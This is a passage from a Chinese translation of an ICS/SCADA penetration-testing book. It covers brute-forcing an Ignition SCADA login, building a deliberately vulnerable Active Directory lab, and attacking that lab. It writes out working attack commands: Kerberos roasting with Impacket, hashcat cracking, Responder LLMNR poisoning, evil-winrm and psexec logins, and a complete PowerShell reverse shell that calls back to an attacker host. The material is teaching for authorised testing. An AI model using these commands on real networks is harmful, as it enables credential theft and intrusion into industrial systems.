这将允许我们将 users.txt 传递给 while 循环,并让 internal field separator** (IFS**) 遍历每个用户。在 users.txt 中,我们有三个用户名 – "plc""scada""test",以简化操作。我还额外增加了读取密码文件和创建一些详细信息的功能。请查看以下代码示例:

图 9.58 – 穷举用户名和密码

图 9.58 – 暴力破解用户名和密码

你现在应该运行的命令如下:

bash exploit.sh users.txt passwords.txt -v

passwords.txt中,为了简便起见,我只添加了四个密码,它们分别是"admin""password""scada""changeme"。运行上述命令应该会生成以下输出,其中我们成功进行了身份验证:

图 9.59 – 成功的身份验证

图 9.59 – 成功的身份验证

在这里,你已经有了一个完全成熟的暴力破解脚本。我们创建了oidc令牌,并用它们自动生成 CSRF 令牌,还用新编写的脚本对用户名和密码进行了测试,验证了 Ignition SCADA 系统的安全性。

免责声明

在响起警报并向本地计算机应急响应团队CERT)提交漏洞之前,Inductive Automation 已经为暴力破解攻击实施了服务器端的缓解措施。如果你使用已知的用户名尝试五次错误密码,Ignition 会在你最后一次尝试后 5 分钟内锁定该账户。

所以,除非你有一个精心整理的用户列表和一个高度集中的密码列表,否则你将不得不调整脚本,以适应每五次失败尝试就锁定任何真实账户 5 分钟的事实。更不用说,如果你没有进行充分的工作,暴力破解的这种行为很可能会被 IDS 发现,这一点在第六章数据包深入分析中已提到。

现在,讽刺的是,如果你调整脚本故意锁定真实用户,它将迫使某人进行身份验证以重启 Ignition,从而覆盖这些锁定。这最终会对 SCADA 服务器造成拒绝服务DOS)攻击。

在这一部分,我们讲解了如何从 BurpSuite 中提取信息并将其转化为有用的暴力破解工具。我们在前几章中涵盖的技能基础上进行了扩展,通过绕过客户端令牌生成拓宽了我们的知识。这是进行渗透测试时非常重要的一项技能,它帮助你理解环境,并尽可能多地提取信息,以打开那些乍一看似乎被锁住的门。

总结

我觉得我们在本章中涵盖了很多内容,从安装 FoxyProxy 和使用 BurpSuite 捕获并重放请求,到制定 Ignition SCADA 如何处理身份验证、提取知识并构建可编写脚本的工具来帮助自动化和生成暴力破解的令牌。你肯定会在你的职业生涯中使用这些工具和技巧。

在下一章中,我们将使用到目前为止学到的所有知识,对我们的 ICS 实验室进行伪模拟渗透测试。

第十章: 我能做到 420

到目前为止,我们主要关注自动化——了解 PLC 是什么以及它如何通信。我们讨论的一个关键话题是连接性——特别是将 PLC 连接到物理 I/O,以及如何将其连接回 SCADA。我们还了解了 Modbus 和 Ethernet/IP,并学习了如何与 I/O 交互。此外,我们还讨论了使用各种工具来扫描和枚举端口和服务,以发现环境中可能运行的协议。在上一章中,我们探讨了如何使用 Burp Suite 与 Ignition,我们的 Web 托管 SCADA 系统进行交互。所有这些工具和技能对于完成成功的渗透测试至关重要。然而,实际上我们大部分时间都花在了查看 SCADA 和物理硬件方面的网络。根据你的渗透测试,通常被视为白盒测试,客户可能会将你放入 ICS 网络,并基本上给你自由进行发现,并提供以下内容:一个Active DirectoryAD)帐户和 ICS 网络的图示。这使你避免了穿越公司网络的陷阱,反而可以通过非军事区、穿越防火墙,进入新的

如果本章仅聚焦于这些内容,那将是不公平的。在大多数渗透测试中,我通常被丢到公司网络的一侧,然后被要求突破进入工业网络。做到这一点需要理解工业网络中存在的技术。这样的理解将使我们能够获得立足点,进一步深入网络。在这里,我们将为我们日益扩展的实验室添加一些新元素。我们将模拟一个灰盒测试,在这个测试中,你将被放入公司网络,然后发现一条穿越的路径。

本章我们将涵盖以下主要主题:

  • 安装企业环境元素

  • 发现并发起我们的攻击

  • 获取 shell

技术要求

本章内容,你将需要以下资源:

你可以在此处查看本章代码的实际操作:bit.ly/3AzpxFp

安装企业环境元素

第一章中,使用虚拟化,我们安装了四台虚拟机VMs),其中包括两台 Ubuntu、一台 Windows 7 和一台 Kali Linux 分发版。接着,我们基于普渡模型创建了子网,并为这些虚拟机分配了静态 IP 地址,将它们分别对齐到各自的组织网络层级。在本节中,我们将通过设置运行 AD 的 Windows 2019 域控制器来添加企业侧的 ICS 实验室,并配置域名系统DNS)和动态主机配置协议DHCP)服务器。我们还将一台 Windows 10 工作站连接到该域。作为复习,我们的实验室目前应该看起来像下图所示:

图 10.1 – 当前实验室布局

图 10.1 – 当前实验室布局

一旦完成域控制器和工作站的设置,你的网络布局应该类似于下图所示:

图 10.2 – 企业实验室新增

图 10.2 – 企业实验室新增

接下来,我们将看看如何安装和配置域控制器。

安装和配置域控制器

访问以下链接以查找与域控制器实验室相关的 ISO 文件:www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019

现在,我将列出安装和配置域控制器的步骤。不过,我不会覆盖一些显而易见的步骤,也不会重新讲解在第一章中讲过的内容,使用虚拟化。如果你需要复习如何将 ISO 文件放入 ESXi 服务器的数据存储中,建议回到第一章进行复习。以下是所需的步骤:

  1. 我假设你已经完成了 ISO 文件的加载,并且将域控制器带到 Windows 更新步骤部分。现在参考以下截图,这是我们将继续安装和配置部分的位置:图 10.3 – Windows 更新

    图 10.3 – Windows 更新

  2. 接下来,我们需要禁用VM 网络接口,并将首选 DNS 服务器的静态 IP 地址设置为127.0.0.1,如下图所示:图 10.4 – 企业接口

    图 10.4 – 企业界面

  3. 接下来,我们将更改计算机的名称。我将使用名称dc01,如下图所示:图 10.5 – 更改计算机名称

    图 10.5 – 更改计算机名称

  4. 现在,计算机需要重启才能应用名称更改。系统会弹出一个窗口,允许你重启系统。服务器重启后,我们需要导航到服务器管理器屏幕并选择添加角色和功能,如下图所示:图 10.6 – 添加角色和功能

    图 10.6 – 添加角色和功能

    系统会提示你进入选择安装类型屏幕,在此选择下一步 >,如下图所示:

    图 10.7 – 选择安装类型

    图 10.7 – 选择安装类型

  5. 接下来,系统会提示你进入选择目标服务器屏幕,在此你需要确保选择了你的主服务器并点击下一步 >,如下图所示:图 10.8 – 选择目标服务器

    图 10.8 – 选择目标服务器

  6. 从这里,你将看到一系列的角色供你选择。我们需要选择Active Directory 域服务DHCP 服务器DNS 服务器,如下图所示:图 10.9 – 选择服务器角色

    图 10.9 – 选择服务器角色

  7. 选择每个复选框后,系统会弹出一个窗口,提供有关你将要安装的角色的详细信息。点击添加功能按钮确认每个角色的选择。然后你将看到选择功能窗口。只需点击下一步 >而不选择任何功能(除非是默认选中的功能)即可继续安装过程,如下图所示:图 10.10 – 选择功能

    图 10.10 – 选择功能

  8. 点击下一步 >按钮,依次通过AD DSDHCP 服务器DNS 服务器信息屏幕。然后,你将进入确认安装选择屏幕,可以通过点击安装按钮继续:图 10.11 – 确认安装选择

    图 10.11 – 确认安装选择

  9. 安装完成后,系统会进入安装进度屏幕,你需要点击将此服务器提升为域控制器选项,如下图所示:图 10.12 – 提升域控制器

    图 10.12 – 提升域控制器

  10. 在这里,你将选择添加一个新森林选项。然后将域名设置为labcorp.local,并点击下一步 >按钮:图 10.13 – 部署配置

    图 10.13 – 部署配置

  11. 接下来,你将看到域控制器选项。保持所有设置不变,并设置你的目录服务恢复模式DSRM)密码,如下所示的截图所示:图 10.14 – 域控制器选项

    图 10.14 – 域控制器选项

  12. 点击下一步 >,通过 DNS 选项,但不要选择创建 DNS 委派。然后,你将看到附加选项窗口。在这个窗口中,NetBIOS 域名将自动为你生成。点击下一步 >,然后在路径页面上再次点击下一步 >。在审查选项页面上,再次点击下一步 >。这样做将开始先决条件检查。从这里开始,我们点击安装,如下所示的截图所示:图 10.15 – 先决条件检查

    图 10.15 – 先决条件检查

  13. 安装完成后,你将会被注销,服务器会重新启动。系统重新启动后,你将看到现在已经拥有了LABCORP域,如下所示的截图:图 10.16 – LABCORP 域

    图 10.16 – LABCORP 域

  14. 现在我们已经安装了 AD,接下来我们要快速添加一个域管理员,以继续进行接下来的两个服务器配置。请继续在Active Directory 用户和计算机中添加一个新用户,如下所示:图 10.17 – 用户和计算机

    图 10.17 – 用户和计算机

  15. 我使用了lab.da:Password123作为我的凭证,并将新用户设置为Domain Admins的成员,如下所示:图 10.18 – 域管理员

    图 10.18 – 域管理员

    由于你已经添加了一个域管理员,你将继续并将LabGroupsLabUsers作为labcorp.local域下的组织单元添加,如下所示:

    图 10.19 – 组织组

    图 10.19 – 组织组

  16. 接下来,你将在LabGroups组织单元下创建一个名为Scada的组:

图 10.20 – Scada 组

图 10.20 – Scada 组

接下来,你要创建三个新用户,并将它们添加到LabUsers组织单元中。用户信息如下:

  • operator1**/**Password1

  • operator2**/**Password2

  • operator3**/**Password3

这是一个示例,使用operator1,将密码设置为Password1234,并使其成为Scada组的成员:

图 10.21 – LabUsers operator1

图 10.21 – LabUsers operator1

在创建operator2账户时,我们将调整一个特定设置,下一节将讨论此设置。在用户和计算机中,我们需要选择operator2,然后选择账户选项卡。接着,在账户选项下,选择不要求 Kerberos 预身份验证选项。这最终是防止 Kerberos 暴力破解的保护机制。如果禁用此功能,我们可以捕获未使用此功能的用户的哈希值:

图 10.22 – 禁用 Kerberos 预身份验证

图 10.22 – 禁用 Kerberos 预身份验证

现在我们已经禁用 Kerberos 预身份验证,我们将继续安装并配置 DNS 服务器。

添加并安装 DNS 服务器

下一步是退出本地管理员账户,并以labcorp\lab.da重新登录到服务器,继续配置 DNS 服务器:

  1. 服务器管理器仪表盘上,从左侧菜单中选择DNS选项。这将列出可以配置为 DNS 的服务器。选择DC01服务器,右键点击它。这将弹出一个上下文菜单,允许我们选择DNS 管理器图 10.23 – DNS 服务器

    图 10.23 – DNS 服务器

  2. DNS 管理器会弹出一个窗口,列出你可以添加区域的服务器。我们将要在反向查找区域文件夹下创建一个新区域:图 10.24 – DNS 管理器

    图 10.24 – DNS 管理器

  3. 在这里,我们需要选择主区域,然后点击下一步 > 按钮:图 10.25 – 新区域向导

    图 10.25 – 新区域向导

  4. 然后,我们需要选择一个选项,以便在labcorp.local域中的所有域控制器上复制。点击下一步 > 按钮,然后选择Ipv4 反向查找区域选项,再点击下一步 >。在这两屏后,你将进入一个界面,可以声明反向查找区域名称的网络 ID:图 10.26 – 反向查找区域名称

    图 10.26 – 反向查找区域名称

  5. 动态更新界面点击下一步 >,然后最后点击完成。此时,你将看到一个已建立并运行的反向区域。接下来,我们需要通过右键点击服务器,选择为所有区域设置老化/回收...来设置资源回收:图 10.27 – 所有区域的回收

    图 10.27 – 所有区域的回收

  6. 设置选项为回收过时的资源记录,然后应用以下截图所示的设置:

图 10.28 – 设置老化/回收属性

图 10.28 – 设置老化/回收属性

在设置了老化/清理属性后,您就完成了 DNS 服务器的配置。现在,我们将继续安装和配置 DHCP 服务器。

添加和安装 DHCP 服务器

我们已经完成了 DNS 服务器的设置。现在,我们将继续通过以下步骤添加和安装 DHCP 服务器:

  1. 点击左侧菜单中的DHCP选项将显示服务器列表。您应该会看到一条通知——需要为 DC01 上的 DHCP 服务器配置。右键点击服务器并选择DHCP 管理器图 10.29 – DHCP 服务器配置

    图 10.29 – DHCP 服务器配置

    然后,您将看到以下屏幕:

    图 10.30 – DHCP 管理器

    图 10.30 – DHCP 管理器

  2. 右键点击dc01.labcorp.local服务器,从上下文菜单中选择授权图 10.31 – 上下文菜单

    图 10.31 – 上下文菜单

  3. 授权后,我们将为 IPv4 添加一个新作用域。右键点击IPv4图标,选择新建作用域...图 10.32 – IPv4 新作用域

    图 10.32 – IPv4 新作用域

  4. 这将带来一系列配置屏幕。逐个点击屏幕并为您的作用域命名。我使用Lab Corp作为名称,以简化操作。接下来,您将进入一个IP 地址范围配置屏幕,在这里需要输入起始和结束 IP 地址。下一个屏幕显示了我选择的选项:图 10.33 – IP 地址范围

    图 10.33 – IP 地址范围

  5. 对于添加排除项和延迟选项,我简单地留空并点击下一步 >按钮。对于租期选项,我将其设置为8天并点击下一步 >。完成后,您将看到一个屏幕,在此选择以应用这些选项。然后点击下一步 >按钮。在路由器屏幕上,我没有做任何更改,直接点击下一步 >。如果一切配置正确,您现在应该看到一个域名和 DNS 服务器的屏幕,应该会自动填充,如下截图所示:图 10.34 – DNS 服务器屏幕

    图 10.34 – DNS 服务器屏幕

  6. 点击下一步 >通过后续的屏幕,并确保选择以激活作用域。最后,点击完成按钮。现在,我们想通过点击之前看到的通知横幅上的更多链接来运行后配置。这将带我们进入一个屏幕,显示部署后配置选项,在这里我们需要点击完成 DHCP 配置图 10.35 – 完成 DHCP 配置

    图 10.35 – 完成 DHCP 配置

  7. 这将带你进入以下授权屏幕,在这里你需要点击提交按钮,然后点击关闭

图 10.36 – 授权

图 10.36 – 授权

现在我们应该已经有一个完全配置好的域控制器,正在运行 AD、DNS 和 DHCP 服务器。

添加和安装网络文件共享

接下来,我们将通过点击文件和存储服务,选择任务,然后点击新建共享...来模拟网络文件共享,如下图所示:

图 10.37 – 文件和存储服务

图 10.37 – 文件和存储服务

在下一个截图中,你可以看到我们有五个选项,适用于两种协议:

  • 服务器消息块SMB

  • 网络文件系统NFS

如果你记得在第六章中,我们讨论了这些协议通常存在于公司网络内部。这里是这些协议的主要来源之一。我们想生成SMB 共享 - 快速,如下图所示:

图 10.38 – SMB 和 NFS 共享选择

图 10.38 – SMB 和 NFS 共享选择

在下一个步骤中,我们将选择服务器并按照如下方式共享位置:

  • dc01

  • C:

我们将LabFiles1作为共享名称,因为这将自动生成共享的本地路径共享的远程路径值,如下图所示:

图 10.39 – 指定共享名称

图 10.39 – 指定共享名称

现在,在其他设置权限确认屏幕上,点击下一步 >按钮。最后,点击创建,文件共享就完成了。

配置 Kerberos

我们需要在域控制器上设置 Kerberos,以便我们能够检查 Kerberoasting,这是一种常见的攻击方式,可能会被用来利用 AD。输入以下命令来设置服务主体名称SPN),此处使用的是operator3

setspn -a DC01/operator3.labcorp.local:9999 labcorp\operator3

如果命令成功执行,你应该看到如下输出:

图 10.40 – SPN 设置

图 10.40 – SPN 设置

现在我们已经设置了 SPN,安装和配置域控制器功能的步骤也就完成了。接下来,我们可以开始搭建工作站。

安装和配置工作站

请访问以下链接查找与 Windows 10 相关的 ISO:www.microsoft.com/en-ca/software-download/windows10ISO

我将让你启动 Windows 10 Pro for Workstations 虚拟机,我会直接跳到我们将工作站添加到域的步骤:

  1. 在所有更新设置完成后,你需要进入 Windows 开始菜单。然后,前往设置 | 系统 | 关于 | 重命名此 PC(高级),如下所示的截图所示:图 10.41 – 关于此 PC

    图 10.41 – 关于此 PC

  2. 点击此屏幕上的重命名此 PC(高级)链接,它将显示以下系统属性屏幕:图 10.42 – 系统属性

    图 10.42 – 系统属性

  3. 从这里,点击更改...按钮以设置计算机名称。然后设置工作站可以加入的名,如下所示:图 10.43 – 计算机名称和域

    图 10.43 – 计算机名称和域

  4. 如果一切配置正确,你应该会看到一个 Windows 安全弹窗,提示你输入具有加入域权限的账户的用户名和密码。如果你还记得上一节中,我们创建了一个域管理员账户。请使用该账户的凭证将工作站加入域:图 10.44 – 域管理员登录

    图 10.44 – 域管理员登录

    如果成功,你将看到以下消息:

    图 10.45 – labcorp.local

    图 10.45 – labcorp.local

    一旦点击确定按钮,你将收到通知,告知你需要重启工作站才能使更改生效。请继续重启工作站。

  5. 最后一步是测试我们在上一节创建的用户是否能够登录到这台计算机。使用operator1账户登录到工作站计算机:

图 10.46 – operator1 登录

图 10.46 – operator1 登录

为了将工作站置于脆弱状态,还需要执行一些额外的配置:

  • 通过启动Windows 远程管理服务来启用它。

  • Scada添加到本地 | 远程管理用户

  • 确保已启用防火墙规则,允许3389端口。

服务下,打开Windows 远程管理(WS-Management)属性。在常规选项卡下,将启动类型设置为自动,然后点击启动,使服务状态变为正在运行,如下所示:

图 10.47 – 服务状态

图 10.47 – 服务状态

在这里,我们要将LABCORP\Scada组添加到 Windows 10 工作站的远程管理用户组中:

图 10.48 – 远程管理组

图 10.48 – 远程管理组

Windows Defender 高级安全防火墙中,启用Windows 远程管理

图 10.49 – Windows Defender

图 10.49 – Windows Defender

这标志着工作站安装和配置的完成。接下来我们将转到 Kali 虚拟机,确保我们已安装必要的工具,以便继续前进。

Kali Linux 工具

现在,我们已经安装并配置了企业网络的一部分,接下来我们将打开 Kali Linux 攻击盒子。从这里,我们需要安装一些在技术要求部分提到的工具。这些工具在处理基于 Windows 的环境时非常有用。我认为我参与过的 100% 的公司都在其企业环境中运行了某种形式和配置的 Active Directory(AD)。需要安装的工具如下:

  • Impacket: 我们将在 Kali Linux 虚拟机上安装的第一个工具是 Impacket。它实际上是一个 Python 类库,能够在数据包级别与基于 Windows 的协议进行交互。该工具负责完成会话的建立、连接、维护和拆除等繁重工作。要开始使用,请访问以下链接:github.com/SecureAuthCorp/impacket/releases

    从这里,下载最新的包。完成后,解压 .tar 文件并在 impacket 文件夹内运行以下命令:

    python3 -m pip install .

  • Kerbrute: 接下来,我们需要安装 Kerbrute。它是一个自动化枚举 Active Directory(AD)账户的工具。请使用以下链接:github.com/ropnop/kerbrute/releases/tag/v1.0.3

    确保您修改了文件的可执行权限。

  • Evil-WinRM: 最后,我们需要安装 Evil-WinRM。这是一个用于渗透测试 Windows 远程管理WinRM)的工具。运行以下命令:

    sudo gem install evil-winrm

在本节中,我们花时间构建了域控制器和工作站。我们为域控制器添加了 AD、DNS、DHCP 和文件共享功能。我们创建了一个域并将用户添加到该域中,然后将工作站加入该域。最后,我们确保我们的 Kali Linux 虚拟机具备了“PWN”企业环境所需的工具。在下一节中,我们将使用这些已安装的工具,继续推进并在企业网络中发起攻击。

发现并启动我们的攻击

我们已经建立并配置了企业实验室,并将新工具安装到了 Kali 发行版中。接下来,我们要做的就是开始查看我们所接入的网络。在第七章,《扫描 101》中,我们介绍了许多不同的工具。我们可以在这里使用这些工具进行发现性攻击。然而,我觉得更合适的方法是考虑其他方式来扩展我们的渗透测试工具箱。

让我们先跳过rustscannmap,直接开始通过 NetBIOS 名称枚举主机。使用以下命令在当前子网中运行nbtscan命令:

nbtscan 172.16.0.0/24

现在我们应该能看到两台机器,DC01WS01,如下图所示:

图 10.50 – nbtscan

图 10.50 – nbtscan

快速识别 NetBIOS 名称让我们有理由猜测DC01是域控制器。记住这些信息后,我们现在希望对发现的机器名称运行enum4linux,看看是否能提取更多的细节。运行以下命令:

enum4linux 172.16.0.2

你应该看到以下结果:

图 10.51 – enum4linux

图 10.51 – enum4linux

我们现在已经发现了LABCORP域名。从这里开始,我们希望尝试枚举可能存在于该域中的用户。使用 Kerbrute(我们在上一节中安装了它)可以通过向域控制器发送 Kerberos 请求来枚举用户。我们通过使用包含以下用户名的传统 ICS 用户生成的列表来执行此操作:

  • admin

  • root

  • operator1

  • operator2

  • operator3

  • scada

  • scada-user

  • scada1

  • scada2

我们现在可以运行以下命令:

./kerbrute_linux_amd64 userenum Industrial_Pentesting/users.txt -d labcorp.local -dc 172.16.0.2

你可以从以下输出看到,我们成功地枚举了四个有效用户:

图 10.52 – 枚举的用户

图 10.52 – 枚举的用户

接下来,我们将使用我们在上一节中安装的 Impacket 工具的一些子功能。具体来说,我们将运行impacket-GetNPUsers命令,看看是否有任何 AD 用户禁用了 Kerberos 预身份验证。运行以下命令:

impacket-GetNPUsers labcorp.local/Adminstrator -dc-ip 127.16.0.2 -no-pass

如预期,Administrator账户已启用preauth,如下所示:

图 10.53 – Impacket 管理员检查

图 10.53 – Impacket 管理员检查

现在测试另一个账户。如果你还记得我们调整 operator2 配置时禁用preauth的 AD 用户设置,那么使用以下命令应能得到有效响应:

impacket-GetNPUsers labcorp.local/operator2 -dc-ip 127.16.0.2 -no-pass

你可以看到我们发现了operator2的哈希:

图 10.54 – operator2 哈希

图 10.54 – operator2 哈希

发现此哈希后,我们可以使用hashcat。使用模式-m 18200对 Kerberos 哈希进行破解,运行以下命令:

sudo hashcat -m 18200 operator2.hash /usr/share/wordlists/rockyou.txt

根据密码的复杂性,这可能需要相当长的时间。然而,如果你保持本章之前的设置,破解operator2密码只需几秒钟。在这里,你可以看到在 Kerberos 哈希的末尾,密码Password2已经被附加,表明我们成功破解了哈希:

图 10.55 – operator2 的密码

图 10.55 – operator2 的密码

我们可以直接使用这些新发现的凭据远程登录到该机器,或者利用它们通过 Impacket 进行更多的发现。由于本节的标题是发现并启动我们的攻击,我们将利用这个帐户进行进一步的发现。我们将运行以下命令:

impacket-GetADUsers -all labcorp.local/operator2 -dc-ip 172.16.0.2

这将使用operator2枚举所有的 AD 用户:

图 10.56 – GetADUsers

图 10.56 – GetADUsers

继续发现路径,我们将使用另一个 Impacket 工具,使用 Kerberos 的默认行为提取服务帐户。我们将运行以下命令:

impacket-GetUserSPNs labcorp.local/operator2:Password2 -dc-ip 172.16.0.2 -request

这是一个非常可怕的攻击,因为它不需要提升的用户权限就可以从域控制器中提取服务帐户。在运行该命令后,你应该看到我们已经发现了operator3的 SPN。这来自上一节中的 Kerberos 配置部分:

图 10.57 – SPN

图 10.57 – SPN

再次,我们发现了一个哈希,看看它的样子,似乎是 Kerberos 哈希,但格式不同。通过简单的研究,我们发现它是以 TGS 格式保存的。现在,我们想用hashcat破解这个哈希,运行以下命令:

hashcat -m 13100 operator3.hash /usr/share/wordlists/rockyou.txt

这将成功破解哈希,并向你展示以下输出:

图 10.58 – operator3 破解的密码

图 10.58 – operator3 破解的密码

接下来,我们将运行responder。它与 Impacket 一起安装。现在,responder使我们能够中毒Link-Local Multicast Name ResolutionLLMNR),并伪造 SMB 请求以便捕获网络上的 Windows New Technology LAN ManagerNTLM)哈希。

我们将使用以下命令运行responder

sudo responder -I eth1

你应该得到以下结果,显示毒害工具正在运行,且服务器是活跃的:

图 10.59 – responder 正在运行

图 10.59 – responder 正在运行

现在,为了触发捕获,由于我们有一个非常静态的实验环境,登录到你的 Windows 10 虚拟机并打开浏览器。输入一个字符串并按 Enter

图 10.60 – 测试

图 10.60 – 测试

如果一切配置正确,你应该会看到responder已经捕获了operator1的 NTLM 哈希,如下所示:

图 10.61 – NTLM 哈希

图 10.61 – NTLM 哈希

正如我们之前所做的,我们将使用hashcat来破解operator1的密码。运行以下命令:

hashcat -m 5600 operator1.hash /usr/share/wordlists/rockyou.txt

密码应该很快被破解,你将看到以下结果:

图 10.62 – operator1 密码

图 10.62 – operator1 密码

在这一部分,你可以看到,借助合适的工具,如何轻松地开始枚举域控制器,从而获取企业环境中的有用信息。我们能够通过一般用户帐户枚举凭据并发现域帐户。我们通过毒化 LLMNR、NBT-NS 和 DNS/MDNS 捕获了哈希。在本节中,我们使用了hashcat对我们发现的哈希执行了各种破解模式。我们只是触及了这些工具所包含的部分强大功能。我强烈建议你阅读 enum4linux、Impacket、Kerbrute 和 hashcat 的文档。

在接下来的章节中,我们将利用我们发现并破解的用户名:密码组合,进入企业网络中的各个系统。

获取 shell

现在我们有了三组凭据和五个额外用户名的列表,是时候利用这些凭据,获取企业计算机的 foothold/shell 了。我们将使用 Evil-WinRM、Impacket-psexec 和 PowerShell 执行各种漏洞利用,获取 Windows 主机的访问权限。

我们将从Evil-WinRM开始,使用以下凭据查看是否能够获得一个 shell:operator2:Password2。运行以下命令:

evil-winrm -I 172.16.0.4 -u operator2 -p Password2

如果本章第一部分的配置都正确,你将看到以下结果:

图 10.63 – Evil-WinRM shell

图 10.63 – Evil-WinRM shell

! 我们得到了第一个 shell,现在是时候探索我们新 shell 的功能了。输入menu命令并按下Enter。这将弹出一份后渗透模块列表:

图 10.64 – Evil-WinRM shell 菜单

图 10.64 – Evil-WinRM shell 菜单

故事时间

我记得曾与 Rob Mubix Fuller 进行过一次对话。他传授给我一条智慧箴言,这条箴言曾被传递给他:两个是一个,一个是零,意思是如果你只有一个 shell,那么实际上你根本就没有 shell。你需要一个备份计划,以防你的主会话丢失或被切断。这句话一直深深印在我脑海中,我也会将这一见解传递给你。所以记住,如果你成功获取了一个 shell,务必尽快构建第二个 shell。

话虽如此,我们需要构建另一个 shell。一个很好的资源是Payloads All The Things。可以通过以下链接访问:github.com/swisskyrepo/PayloadsAllTheThings

我们将使用反向 Shell 备忘单来找到一个 PowerShell 方法。以下代码展示了我们将用于连接回 Kali Linux 虚拟机的 PowerShell 命令:

client = New-Object System.Net.Sockets.TCPClient("172.16.0.6",4242);$stream = \(client.GetStream();[byte[]]\)bytes = 0..65535|%{0};while(($i = \(stream.Read(\)bytes, 0, \(bytes.Length)) -ne 0){;\)data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, \(i);\)sendback = (iex \(data 2>&1 | Out-String );\)sendback2 = \(sendback + 'PS ' + (pwd).Path + '> ';\)sendbyte = ([text.encoding]::ASCII).GetBytes(\(sendback2);\)stream.Write(\(sendbyte,0,\)sendbyte.Length);\(stream.Flush()};\)client.Close()

为了在我们当前的环境中使其生效,我们必须禁用 Windows 10 虚拟机上的实时保护

图 10.65 – 病毒与威胁防护设置

图 10.65 – 病毒与威胁防护设置

禁用实时保护后,我们将使用以下命令设置一个新的监听器:

nc -nvlp 4242

执行该命令后,我们将看到以下输出:

图 10.66 – 监听端口 4242

图 10.66 – 监听端口 4242

接下来,我们要执行前面图示中的 PowerShell 命令。一旦反向 shell 连接成功,我们将看到以下输出:

图 10.67 – 反向 PowerShell

图 10.67 – 反向 PowerShell

现在我们已经成功地使用 PowerShell 载荷获取了反向 shell。接下来,我们将使用 Impacket-psexec 运行一个漏洞利用来获取一个新的 shell。我们将使用在本章第一节中创建的域管理员账户。首先运行以下命令:

impacket-psexec labcorp.local/lab.da:'Password123'@172.16.02

执行上述命令后,你将看到以下结果:

图 10.68 – impacket-psexec

图 10.68 – impacket-psexec

到目前为止,你可能会问自己——既然我们已经有了凭据,难道不能直接通过远程桌面协议RDP)连接到 Windows 主机并尝试从那里进行攻击吗?你完全正确。你可以使用这些凭据,通过 RDP 连接到 Windows 主机。然而,你必须小心。无论我们如何掩藏踪迹,总会留下痕迹。如果你开始使用 RDP 会话,它们可能会变得非常显眼,而且你很可能会遇到你破解的凭据的拥有者,因为他们可能已经登录到机器上了。

总结

本章涵盖了大量内容。我们搭建了一个带有 AD 的域控制器,设置了 DNS 服务器和 DHCP 服务器,创建了文件共享,并使用多种工具进行枚举、投毒流量并获得 shell。每一个话题和工具都值得写成一本书。说实话,在花了很多年从事操作技术领域的工作后,写关于公司网络的内容,确实有些像是“冒名顶替综合症”。我可以毫不犹豫地重申,练习获取公司网络中单个主机的访问权限非常重要,因为没有两个渗透测试任务是完全相同的。如果不更加努力并全面提升自己的技能,不能指望自己成功。在下一章,我们将通过当前实验室环境进行深度探索,检查进程级别,并最终实现对物理 I/O 的控制。

第十一章:哇哦…我必须深入

阅读完上一章后,我们已经有了一个立足点/外壳,但接下来怎么办呢?接下来,我们需要了解自己处于哪个位置,并且能访问什么内容。这包括尽可能多地收集信息,获取凭证,映射网络连接,使用代理进行内部网络扫描,以及发现可转移的主机。这个阶段是我们需要穿越系统内部的阶段。我们可以通过使用工具通过代理映射网络,深入挖掘。根据入口点的不同,会有关键信息需要发现,包括线索,这些线索将提供关于低层系统的细节,进而帮助我们接触到物理 I/O。

在本章中,我们将安装一款防火墙,它将允许我们在实验室网络中构建分段。在初步获得网络访问权限后,这通常是人们卡住的地方,并且常常会问,接下来我该做什么?我如何获取管理员权限?接下来去哪儿?本章将帮助解答这些问题。我们将利用 Empire 构建一个 控制与命令C2)服务器,从而帮助我们收集凭证,查找可利用的服务,并获得提升的权限。接下来,我们将使用端口转发、SSH 隧道和 proxychains 进一步深入网络,最终攻破工业过程。

在本章中,我们将覆盖以下主要内容:

  • 配置防火墙

  • 我已经有一个 shell 了,接下来怎么办?

  • 提升权限

  • 转移

技术要求

本章需要以下内容:

你可以在这里查看本章代码的实际操作:bit.ly/3lAzYVb

配置防火墙

您可能会想,为什么在每一章中,我们都会安装或配置一些新的东西。你可能会想,为什么我们没有在本书的早些时候安装这些? 这种思路并没有错,因为我们本可以在本书的前半部分安装所有需要的实验室工具。然而,我认为让自己不断地构建和拆解实验室是非常重要的。这有助于培养适应能力,而适应能力是渗透测试的关键要素。每一章都添加新的元素,能够帮助强化适应能力的实践。

很多厂商提供工业级防火墙,其中一些更具行业认可的品牌有思科(Cisco)、堡垒(Fortinet)、检查点(Checkpoint)、帕洛阿尔托(Palo Alto)、贝尔登(Belden)和莫萨(Moxa)。每个厂商都有其优缺点、技术特点和功能,您可以进一步研究了解。在实施防火墙并在参与过程中遇到它们时,您必须具备高度的适应能力。我曾见过没有安装任何防火墙的网络,也见过那些使用微分段和多层职责分离的网络,这意味着需要许多人合作才能在企业网络中建立连接。通过在我们的实验室中引入防火墙,我们将实现对网络的受控分段。在本节中,我们将安装并配置最新版本的 pfSense(社区版)防火墙。让我们开始吧:

  1. 请访问以下链接下载 pfSense 的最新版本。撰写本文时,这是 2.5.1 版本:nyifiles.netgate.com/mirror/downloads/pfSense-CE-2.5.1-RELEASE-amd64.iso.gz

    一旦您获得了 ISO 文件,确保将其加载到数据存储中并启动一个新的虚拟机。我在以下截图中展示了配置时所选择的选项。最重要的部分是网络适配器。我们将在第 4 层放置防火墙,以便它将 第 5 层:企业层 连接到 第 3 层:运营层,如下图所示:

    图 11.1 – 防火墙配置

    图 11.1 – 防火墙配置

  2. 配置完成后,启动虚拟机并等待初始启动。您将看到 终端用户许可协议(EULA) 页面。点击 <接受>,如以下截图所示:图 11.2 – EULA

    图 11.2 – 终端用户许可协议(EULA)

  3. 在接受协议后,您将看到三个选项。选择 安装 并开始安装 pfSense,如下图所示:图 11.3 – 安装 pfSense 选项

    图 11.3 – 安装 pfSense 选项

  4. 接下来,您可以选择根据您的位置更改键盘映射语言。选择任何您想要的语言。我将使用标准的"US" 默认选项,如下所示:图 11.4 – 键盘映射

    图 11.4 – 键盘映射

  5. 键盘映射完成后,我们可以选择如何分区磁盘。我将使用 自动 (UFS) BIOS 方法,如下所示:图 11.5 – 磁盘分区

    图 11.5 – 磁盘分区

  6. 安装程序运行完毕后,您可以选择进入终端并在重启之前对防火墙进行一些调整。我选择了 ,保持所有默认设置:图 11.6 – 最终调整

    图 11.6 – 最终调整

